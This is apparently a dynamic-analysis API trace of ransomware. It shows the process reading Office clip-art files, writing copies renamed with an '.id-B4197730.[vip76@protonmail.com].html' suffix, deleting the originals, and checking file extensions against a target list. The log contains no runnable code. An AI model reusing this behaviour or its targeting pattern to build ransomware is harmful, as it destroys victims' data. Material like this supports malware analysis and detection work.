	[0197.580] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1094, lpOverlapped=0x0) returned 1
	[0197.582] WriteFile (in: hFile=0x5bc, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0197.583] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.583] WriteFile (in: hFile=0x5bc, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.583] SetEndOfFile (hFile=0x5bc) returned 1
	[0197.583] CloseHandle (hObject=0x5bc) returned 1
	[0197.583] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.583] SetEndOfFile (hFile=0x580) returned 1
	[0197.586] CloseHandle (hObject=0x580) returned 1
	[0197.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1
	[0197.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.587] lstrlenW (lpString=".doc") returned 4
	[0197.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.587] lstrlenW (lpString=".docx") returned 5
	[0197.587] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0197.587] lstrlenW (lpString=".pdf") returned 4
	[0197.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.587] lstrlenW (lpString=".xls") returned 4
	[0197.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.587] lstrlenW (lpString=".xlsx") returned 5
	[0197.587] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0197.587] lstrlenW (lpString=".ppt") returned 4
	[0197.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.587] lstrlenW (lpString=".zip") returned 4
	[0197.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.588] lstrlenW (lpString=".rar") returned 4
	[0197.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString=".bz2") returned 4
	[0197.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString=".7z") returned 3
	[0197.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.588] lstrlenW (lpString=".dbf") returned 4
	[0197.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.588] lstrlenW (lpString=".1cd") returned 4
	[0197.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.588] lstrlenW (lpString=".jpg") returned 4
	[0197.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.588] lstrlenW (lpString=".doc") returned 4
	[0197.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString=".docx") returned 5
	[0197.588] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0197.588] lstrlenW (lpString=".pdf") returned 4
	[0197.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString=".xls") returned 4
	[0197.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.588] lstrlenW (lpString=".xlsx") returned 5
	[0197.588] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0197.588] lstrlenW (lpString=".ppt") returned 4
	[0197.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.589] lstrlenW (lpString=".zip") returned 4
	[0197.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.589] lstrlenW (lpString=".rar") returned 4
	[0197.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.589] lstrlenW (lpString=".bz2") returned 4
	[0197.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.589] lstrlenW (lpString=".7z") returned 3
	[0197.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.589] lstrlenW (lpString=".dbf") returned 4
	[0197.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.589] lstrlenW (lpString=".1cd") returned 4
	[0197.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0197.589] lstrlenW (lpString=".jpg") returned 4
	[0197.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.589] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.589] lstrlenW (lpString="J0107344.WMF") returned 12
	[0197.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.590] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5076) returned 1
	[0197.590] CloseHandle (hObject=0x580) returned 1
	[0197.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220
	[0197.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0197.590] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.591] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0197.592] GetLastError () returned 0x0
	[0197.592] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x13d4, lpOverlapped=0x0) returned 1
	[0197.610] WriteFile (in: hFile=0x5bc, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x13e0, lpOverlapped=0x0) returned 1
	[0197.611] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.611] WriteFile (in: hFile=0x5bc, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.611] SetEndOfFile (hFile=0x5bc) returned 1
	[0197.611] CloseHandle (hObject=0x5bc) returned 1
	[0197.612] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.612] SetEndOfFile (hFile=0x580) returned 1
	[0197.795] CloseHandle (hObject=0x580) returned 1
	[0197.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1
	[0198.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.138] lstrlenW (lpString=".doc") returned 4
	[0198.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.138] lstrlenW (lpString=".docx") returned 5
	[0198.138] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0198.138] lstrlenW (lpString=".pdf") returned 4
	[0198.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.138] lstrlenW (lpString=".xls") returned 4
	[0198.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.138] lstrlenW (lpString=".xlsx") returned 5
	[0198.138] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0198.138] lstrlenW (lpString=".ppt") returned 4
	[0198.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.138] lstrlenW (lpString=".zip") returned 4
	[0198.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.138] lstrlenW (lpString=".rar") returned 4
	[0198.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.138] lstrlenW (lpString=".bz2") returned 4
	[0198.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.173] lstrlenW (lpString=".7z") returned 3
	[0198.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.174] lstrlenW (lpString=".dbf") returned 4
	[0198.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.174] lstrlenW (lpString=".1cd") returned 4
	[0198.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.174] lstrlenW (lpString=".jpg") returned 4
	[0198.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.174] lstrlenW (lpString=".doc") returned 4
	[0198.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.174] lstrlenW (lpString=".docx") returned 5
	[0198.174] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0198.174] lstrlenW (lpString=".pdf") returned 4
	[0198.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.174] lstrlenW (lpString=".xls") returned 4
	[0198.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.174] lstrlenW (lpString=".xlsx") returned 5
	[0198.174] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0198.175] lstrlenW (lpString=".ppt") returned 4
	[0198.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.175] lstrlenW (lpString=".zip") returned 4
	[0198.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.175] lstrlenW (lpString=".rar") returned 4
	[0198.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.175] lstrlenW (lpString=".bz2") returned 4
	[0198.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.175] lstrlenW (lpString=".7z") returned 3
	[0198.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.175] lstrlenW (lpString=".dbf") returned 4
	[0198.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.175] lstrlenW (lpString=".1cd") returned 4
	[0198.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0198.175] lstrlenW (lpString=".jpg") returned 4
	[0198.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.175] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.175] lstrlenW (lpString="J0107480.WMF") returned 12
	[0198.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.176] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6024) returned 1
	[0198.176] CloseHandle (hObject=0x574) returned 1
	[0198.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220
	[0198.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.177] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.177] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.178] GetLastError () returned 0x0
	[0198.178] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1788, lpOverlapped=0x0) returned 1
	[0198.180] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1790, lpOverlapped=0x0) returned 1
	[0198.181] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.181] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.181] SetEndOfFile (hFile=0x580) returned 1
	[0198.181] CloseHandle (hObject=0x580) returned 1
	[0198.181] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.181] SetEndOfFile (hFile=0x574) returned 1
	[0198.184] CloseHandle (hObject=0x574) returned 1
	[0198.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1
	[0198.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.185] lstrlenW (lpString=".doc") returned 4
	[0198.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.185] lstrlenW (lpString=".docx") returned 5
	[0198.185] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0198.185] lstrlenW (lpString=".pdf") returned 4
	[0198.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.185] lstrlenW (lpString=".xls") returned 4
	[0198.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.185] lstrlenW (lpString=".xlsx") returned 5
	[0198.185] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0198.185] lstrlenW (lpString=".ppt") returned 4
	[0198.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.185] lstrlenW (lpString=".zip") returned 4
	[0198.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.185] lstrlenW (lpString=".rar") returned 4
	[0198.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.185] lstrlenW (lpString=".bz2") returned 4
	[0198.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString=".7z") returned 3
	[0198.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.186] lstrlenW (lpString=".dbf") returned 4
	[0198.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.186] lstrlenW (lpString=".1cd") returned 4
	[0198.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.186] lstrlenW (lpString=".jpg") returned 4
	[0198.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.186] lstrlenW (lpString=".doc") returned 4
	[0198.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString=".docx") returned 5
	[0198.186] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0198.186] lstrlenW (lpString=".pdf") returned 4
	[0198.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString=".xls") returned 4
	[0198.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.186] lstrlenW (lpString=".xlsx") returned 5
	[0198.186] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0198.186] lstrlenW (lpString=".ppt") returned 4
	[0198.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.186] lstrlenW (lpString=".zip") returned 4
	[0198.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.186] lstrlenW (lpString=".rar") returned 4
	[0198.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.186] lstrlenW (lpString=".bz2") returned 4
	[0198.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.187] lstrlenW (lpString=".7z") returned 3
	[0198.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.187] lstrlenW (lpString=".dbf") returned 4
	[0198.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.187] lstrlenW (lpString=".1cd") returned 4
	[0198.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0198.187] lstrlenW (lpString=".jpg") returned 4
	[0198.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.187] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.187] lstrlenW (lpString="J0107482.WMF") returned 12
	[0198.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.188] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4980) returned 1
	[0198.188] CloseHandle (hObject=0x574) returned 1
	[0198.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220
	[0198.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.189] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.189] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.211] GetLastError () returned 0x0
